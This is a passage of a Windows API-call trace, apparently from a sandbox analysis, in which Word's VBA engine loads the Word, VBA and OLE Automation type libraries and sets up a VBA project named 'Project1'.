lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0036.750] IMalloc:Free (This=0x7feff045380, pv=0x8126370) [0036.750] wcscpy_s (in: _Destination=0x7cb7528, _SizeInWords=0x8e, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library" | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0036.750] wcsncpy_s (in: _Destination=0x266230, _SizeInWords=0x108, _Source="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0x0 [0036.750] CharLowerBuffW (in: lpsz="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchLength=0x8d | out: lpsz="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library") returned 0x8d [0036.750] IMalloc:Alloc (This=0x7feff045380, cb=0x11c) returned 0x8126370 [0036.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", cchWideChar=142, lpMultiByteStr=0x8126370, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020905-0000-0000-c000-000000000046}#8.7#0#c:\\program files\\microsoft office\\root\\office16\\msword.olb#microsoft word 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0036.750] IMalloc:Free (This=0x7feff045380, pv=0x8126370) [0036.750] wcsncpy_s (in: _Destination=0x2661f0, _SizeInWords=0x108, _Source="*\\Z015e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.750] CharLowerBuffW (in: lpsz="*\\Z015e3fce51", cchLength=0xd | out: lpsz="*\\z015e3fce51") returned 0xd [0036.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015e3fce51", cchWideChar=14, lpMultiByteStr=0x266120, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.750] _wcsicmp (_String1="*\\Z015e3fce51", _String2="*\\Z015e3fce51") returned 0 [0036.750] IUnknown:AddRef (This=0x7f887c0) returned 0x4 [0036.750] IUnknown:QueryInterface (in: This=0x7f887c0, riid=0x7fee40885a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266618 | out: ppvObject=0x266618*=0x0) returned 0x80004002 [0036.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x2665e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5 [0036.750] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Word") returned 0x106bb5 [0036.750] IUnknown:Release (This=0x7f887c0) returned 0x3 [0036.750] GetModuleFileNameW (in: hModule=0x7fee3ce0000, lpFilename=0x7fee40be4c0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0036.750] QueryPathOfRegTypeLib (in: guid=0x7fee408dd50*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x4, wMin=0x0, lcid=0x409, lpbstrPathName=0x266680 | out: lpbstrPathName=0x266680) returned 0x0 [0036.753] LoadTypeLibEx (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", regkind=0x2, pptlib=0x2666d8*=0x0 | out: pptlib=0x2666d8*=0x7f8b790) returned 0x0 [0036.759] IUnknown:AddRef (This=0x7f8b790) returned 0x2 [0036.759] ITypeLib:RemoteGetDocumentation (in: This=0x7f8b790, index=-1, refPtrFlags=0x2666f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3c57c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3c57c0*="\x57c0\x3c") returned 0x0 [0036.759] IUnknown:QueryInterface (in: This=0x7f8b790, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2664e8 | out: ppvObject=0x2664e8*=0x0) returned 0x80004002 [0036.759] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x2664e0, pDummy=0x10 | out: ppTLibAttr=0x2664e0, pDummy=0x10) returned 0x0 [0036.759] ITypeLib:RemoteGetDocumentation (in: This=0x7f8b790, index=-1, refPtrFlags=0x0, pbstrName=0x2664d8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xc04f06ff5e37 | out: pbstrName=0x2664d8*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xc04f06ff5e37) returned 0x0 [0036.759] StringFromGUID2 (in: rguid=0x81c5ed0*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x266500, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0036.759] _ultow_s (in: _Value=0x4, _Buffer=0x26644a, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0036.759] _ultow_s (in: _Value=0x2, _Buffer=0x26644e, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0036.759] _ultow_s (in: _Value=0x9, _Buffer=0x266452, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0036.759] wcscpy_s (in: _Destination=0x40460e8, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0036.759] wcscpy_s (in: _Destination=0x40460ee, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0036.759] wcscpy_s (in: _Destination=0x404613a, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0036.760] wcscpy_s (in: _Destination=0x4046148, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0036.760] wcscpy_s (in: _Destination=0x40461ce, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0036.760] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0036.760] IMalloc:Realloc (This=0x7feff045380, pv=0x8026f90, cb=0x340) returned 0x81e55d0 [0036.760] wcscpy_s (in: _Destination=0x81e5718, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0036.760] ITypeLib:RemoteGetDocumentation (in: This=0x7f8b790, index=-1, refPtrFlags=0x2665f8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3) returned 0x0 [0036.760] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0036.760] strcpy_s (in: _Dst=0x2663f0, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0036.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2663f0, cbMultiByte=4, lpWideCharStr=0x266240, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0036.760] IUnknown:AddRef (This=0x7f887c0) returned 0x4 [0036.760] ITypeLib:RemoteIsName (in: This=0x7f887c0, szNameBuf="VBA", lHashVal=0x10e2f7, pfName=0x266310, pBstrLibName=0x266240 | out: pfName=0x266310*=0, pBstrLibName=0x266240) returned 0x0 [0036.760] IUnknown:Release (This=0x7f887c0) returned 0x3 [0036.760] IMalloc:Alloc (This=0x7feff045380, cb=0xc) returned 0x81b2640 [0036.760] IMalloc:Free (This=0x7feff045380, pv=0x81c46d0) [0036.760] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c46d0 [0036.760] IMalloc:Free (This=0x7feff045380, pv=0x81b2640) [0036.760] wcsncpy_s (in: _Destination=0x2661f0, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0036.760] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0036.760] IMalloc:Alloc (This=0x7feff045380, cb=0x122) returned 0x8126370 [0036.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x8126370, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0036.760] IMalloc:Free (This=0x7feff045380, pv=0x8126370) [0036.760] IMalloc:Realloc (This=0x7feff045380, pv=0x7cb6f20, cb=0x1000) returned 0x7e3f620 [0036.760] wcscpy_s (in: _Destination=0x7e3fd78, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0036.760] wcsncpy_s (in: _Destination=0x266230, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0036.760] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0036.760] IMalloc:Alloc (This=0x7feff045380, cb=0x122) returned 0x8126370 [0036.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0x8126370, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0036.761] IMalloc:Free (This=0x7feff045380, pv=0x8126370) [0036.761] wcsncpy_s (in: _Destination=0x2661f0, _SizeInWords=0x108, _Source="*\\Z015e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.761] CharLowerBuffW (in: lpsz="*\\Z015e3fce51", cchLength=0xd | out: lpsz="*\\z015e3fce51") returned 0xd [0036.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015e3fce51", cchWideChar=14, lpMultiByteStr=0x266120, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.761] _wcsicmp (_String1="*\\Z015e3fce51", _String2="*\\Z015e3fce51") returned 0 [0036.761] IUnknown:AddRef (This=0x7f8b790) returned 0x3 [0036.761] IUnknown:QueryInterface (in: This=0x7f8b790, riid=0x7fee40885a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266618 | out: ppvObject=0x266618*=0x0) returned 0x80004002 [0036.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x2665e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0036.761] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0036.761] IUnknown:Release (This=0x7f8b790) returned 0x2 [0036.761] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8116f80 [0036.761] IMalloc:GetSize (This=0x7feff045380, pv=0x8116f80) returned 0x0 [0036.761] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8116f90 [0036.761] IMalloc:GetSize (This=0x7feff045380, pv=0x8116f90) returned 0x0 [0036.761] VirtualQuery (in: lpAddress=0x266bc0, lpBuffer=0x266b80, dwLength=0x30 | out: lpBuffer=0x266b80*(BaseAddress=0x266000, AllocationBase=0x170000, AllocationProtect=0x4, __alignment1=0xfffffa80, RegionSize=0xa000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0036.761] IMalloc:Alloc (This=0x7feff045380, cb=0x0) returned 0x8116fa0 [0036.761] qsort (in: _Base=0x8116fa0, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7fee3e35594 | out: _Base=0x8116fa0) [0036.761] IMalloc:Free (This=0x7feff045380, pv=0x8116fa0) [0036.761] IMalloc:Alloc (This=0x7feff045380, cb=0x18) returned 0x81b2640 [0036.761] IMalloc:Alloc (This=0x7feff045380, cb=0xc) returned 0x81b2780 [0036.761] IMalloc:GetSize (This=0x7feff045380, pv=0x81b2780) returned 0xc [0036.761] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win16") returned 0x107ec1 [0036.761] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win32") returned 0x107f07 [0036.761] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win64") returned 0x107f78 [0036.761] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mac") returned 0x10b2b3 [0036.761] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA6") returned 0x1023ad [0036.761] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA7") returned 0x1023ae [0036.761] IMalloc:Free (This=0x7feff045380, pv=0x8116f90) [0036.761] IMalloc:Free (This=0x7feff045380, pv=0x8116f80) [0036.762] CoCreateGuid (in: pguid=0x266cc8 | out: pguid=0x266cc8*(Data1=0xfb158ff6, Data2=0xdaee, Data3=0x47eb, Data4=([0]=0x87, [1]=0xdd, [2]=0x2e, [3]=0x9d, [4]=0xc2, [5]=0x75, [6]=0xa7, [7]=0x52))) returned 0x0 [0036.762] wcsncmp (_String1="*\\Z", _String2="*\\Z", _MaxCount=0x3) returned 0 [0036.762] IMalloc:Alloc (This=0x7feff045380, cb=0x6b0) returned 0x81e5920 [0036.762] CoCreateGuid (in: pguid=0x815de28 | out: pguid=0x815de28*(Data1=0x9c14ac31, Data2=0xef9f, Data3=0x481a, Data4=([0]=0xbd, [1]=0x1f, [2]=0x9f, [3]=0x5f, [4]=0x2e, [5]=0xd8, [6]=0x63, [7]=0x8a))) returned 0x0 [0036.762] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x0) returned 0x8116f80 [0036.762] IMalloc:Realloc (This=0x7feff045380, pv=0x0, cb=0x412) returned 0x3f06c30 [0036.762] strcpy_s (in: _Dst=0x815de88, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0036.762] LoadStringA (in: hInstance=0x7fef89d0000, uID=0x32f3, lpBuffer=0xae69c48, cchBufferMax=128 | out: lpBuffer="Project") returned 0x7 [0036.763] wsprintfA (in: param_1=0xae69c4f, param_2="%d" | out: param_1="1") returned 1 [0036.763] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0036.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5fc8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0036.763] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0036.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5fc8, cbMultiByte=8, lpWideCharStr=0x81c5ed8, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0036.763] lstrlenA (lpString="Project") returned 7 [0036.763] lstrcmpiA (lpString1="Project", lpString2="Project1") returned -1 [0036.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xae69c48, cbMultiByte=-1, lpWideCharStr=0x2679a0, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0036.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x267890, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0036.763] lstrcmpiA (lpString1="", lpString2="Project1") returned -1 [0036.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0x267790, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0036.763] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0036.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x2676a0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0036.763] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0036.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x2676a0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0036.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=9, lpMultiByteStr=0x267560, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0036.763] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0036.763] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Project1") returned 0x10170a [0036.763] IMalloc:Alloc (This=0x7feff045380, cb=0x18) returned 0x81b27a0 [0036.763] IMalloc:Free (This=0x7feff045380, pv=0x81c46d0) [0036.763] IMalloc:Alloc (This=0x7feff045380, cb=0x20) returned 0x81c46d0 [0036.763] IMalloc:Realloc (This=0x7feff045380, pv=0x81c46d0, cb=0x44) returned 0x7ff2050 [0036.763] IMalloc:Free (This=0x7feff045380, pv=0x81b27a0) [0036.763] wcsncpy_s (in: _Destination=0x267360, _SizeInWords=0x108, _Source="*\\Z015e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.763] CharLowerBuffW (in: lpsz="*\\Z015e3fce51", cchLength=0xd | out: lpsz="*\\z015e3fce51") returned 0xd [0036.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015e3fce51", cchWideChar=14, lpMultiByteStr=0x267290, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.763] _wcsicmp (_String1="*\\Z015e3fce51", _String2="*\\Z015e3fce51") returned 0 [0036.764] strcpy_s (in: _Dst=0x815de98, _DstSize=0x9, _Src="Project1" | out: _Dst="Project1") returned 0x0 [0036.764] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0036.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5fc8, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0036.764] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0036.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81c5fc8, cbMultiByte=9, lpWideCharStr=0x81c5ed8, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0036.764] lstrlenA (lpString="Project1") returned 8 [0036.764] QueryPathOfRegTypeLib (in: guid=0x7fee4099508*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x2, wMin=0x0, lcid=0x0, lpbstrPathName=0x267508 | out: lpbstrPathName=0x267508) returned 0x0 [0036.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32\\stdole2.tlb", cchWideChar=-1, lpMultiByteStr=0x2674c0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32\\stdole2.tlb", lpUsedDefaultChar=0x0) returned 32 [0036.766] lstrlenA (lpString="C:\\Windows\\system32\\stdole2.tlb") returned 31 [0036.766] lstrcpyA (in: lpString1=0xae67f40, lpString2="C:\\Windows\\system32\\stdole2.tlb" | out: lpString1="C:\\Windows\\system32\\stdole2.tlb") returned="C:\\Windows\\system32\\stdole2.tlb" [0036.766] _access_s (_FileName="C:\\Windows\\system32\\stdole2.tlb", _AccessMode=0) returned 0x0 [0036.766] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x267878*=0x0 | out: pptlib=0x267878*=0x7f8b1f0) returned 0x0 [0036.766] LoadTypeLib (in: szFile="C:\\Windows\\system32\\stdole2.tlb", pptlib=0x267508*=0x0 | out: pptlib=0x267508*=0x7f8b1f0) returned 0x0 [0036.766] ITypeLib:RemoteGetDocumentation (in: This=0x7f8b1f0, index=-1, refPtrFlags=0x267528, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="stdole", cchWideChar=7, lpMultiByteStr=0x267410, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="stdole", lpUsedDefaultChar=0x0) returned 7 [0036.766] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="stdole") returned 0x106093 [0036.766] IUnknown:QueryInterface (in: This=0x7f8b1f0, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x2673e8 | out: ppvObject=0x2673e8*=0x0) returned 0x80004002 [0036.766] GetLocalTime (in: lpSystemTime=0x267290 | out: lpSystemTime=0x267290*(wYear=0x7e3, wMonth=0x2, wDayOfWeek=0x1, wDay=0xb, wHour=0x9, wMinute=0x12, wSecond=0x9, wMilliseconds=0x3ce)) [0036.766] wcsncpy_s (in: _Destination=0x266f40, _SizeInWords=0x108, _Source="*\\Z015e3fce51", _MaxCount=0x106 | out: _Destination="*\\Z015e3fce51") returned 0x0 [0036.766] CharLowerBuffW (in: lpsz="*\\Z015e3fce51", cchLength=0xd | out: lpsz="*\\z015e3fce51") returned 0xd [0036.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z015e3fce51", cchWideChar=14, lpMultiByteStr=0x266e70, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z015e3fce51", lpUsedDefaultChar=0x0) returned 14 [0036.766] _wcsicmp (_String1="*\\Z015e3fce51", _String2="*\\Z015e3fce51") returned 0 [0036.767] IUnknown:QueryInterface (in: This=0x7f8b1f0, riid=0x7fee4085c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x267318 | out: ppvObject=0x267318*=0x0) returned 0x80004002 [0036.767] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b1f0, ppTLibAttr=0x267310, pDummy=0x10 | out: ppTLibAttr=0x267310, pDummy=0x10) returned 0x0 [0036.767] ITypeLib:RemoteGetDocumentation (in: This=0x7f8b1f0, index=-1, refPtrFlags=0x0, pbstrName=0x267308, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x267308*="OLE Automation", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0036.767] StringFromGUID2 (in: rguid=0x81c5ed0*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x267330, cchMax=39 | out: lpsz="{00020430-0000-0000-C000-000000000046}") returned 39 [0036.767] _ultow_s (in: _Value=0x2, _Buffer=0x26727a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0036.767] _ultow_s (in: _Value=0x0, _Buffer=0x26727e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0 [0036.767] _ultow_s (in: _Value=0x0, _Buffer=0x267282, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 